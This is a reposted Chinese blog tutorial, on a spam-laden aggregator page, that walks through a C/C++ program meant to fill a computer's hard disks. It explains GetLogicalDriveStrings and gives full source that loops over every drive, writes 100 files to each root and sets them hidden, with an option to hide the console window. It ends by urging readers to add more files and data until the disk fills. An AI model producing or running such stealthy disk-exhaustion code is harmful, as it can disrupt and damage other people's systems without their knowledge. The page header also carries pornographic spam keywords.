日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > c/c++ >内容正文

c/c++

C/C++轻松写可塞满硬盘的程序

發(fā)布時間:2025/3/15 c/c++ 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 C/C++轻松写可塞满硬盘的程序 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

關(guān)于寫可塞滿硬盤的程序

我們先想想思路:

第一步:獲取邏輯盤符

第二步:創(chuàng)建文件

第三步:文件寫入數(shù)據(jù)

擴展要求:

一:隱藏窗口

二:文件設(shè)置為隱藏屬性


下面我們對上述的思路介紹一個API,接受完后給出源代碼

GetLogicalDriveStrings function

Fills a buffer with strings that specify valid drives in the system.

DWORD WINAPI GetLogicalDriveStrings(_In_ DWORD nBufferLength,_Out_ LPTSTR lpBuffer );

此函數(shù)是把系統(tǒng)里面可用的磁盤讀取到lpBuffer里面

成功則返回獲取的總長度,

失敗有兩個情況一個是buffer不夠長,一個是其他問題


關(guān)于其他的API函數(shù),都比較簡單,有些可以從命名意思就知道功能,在此不在介紹,源碼中也有注釋,

下面看源代碼

#include <Windows.h>int main() {//FreeConsole(); //隱藏控制臺char strDriveStrings[MAXBYTE] = { 0 };//獲取邏輯地址DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);for (size_t i = 0; i < dwDriveStrLen; i += 4) //每4個字節(jié)表示一個盤符 {char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };strncpy_s(strRoot,&strDriveStrings[i], 4);strcpy_s(strTargetPath, strRoot);//創(chuàng)建100個文件for (int j = 0; j < 100; j++){char TempStrTargetPath[MAX_PATH];strcpy_s(TempStrTargetPath, strTargetPath);char FileName[MAXBYTE];char Date[MAXBYTE] = "11111";wsprintf(FileName, "%d.txt", j);strcat_s(TempStrTargetPath, FileName);//創(chuàng)建文件HANDLE hFile;hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE)continue;DWORD Pointer;//寫入數(shù)據(jù)WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);CloseHandle(hFile);//將s所指向的某一塊內(nèi)存中的前n個 字節(jié)的內(nèi)容全部設(shè)置為ch指定的ASCII值memset(FileName, 0, sizeof(FileName));//設(shè)置為隱藏SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);}}return 0; } 把文件瀏覽屬性設(shè)置好:

運行結(jié)果如下:


如果出現(xiàn)以下問題:

修改字符集如下:


所以大家只要多搞幾個文件,多搞點數(shù)據(jù),硬盤就會被塞滿

總結(jié)

以上是生活随笔為你收集整理的C/C++轻松写可塞满硬盘的程序的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。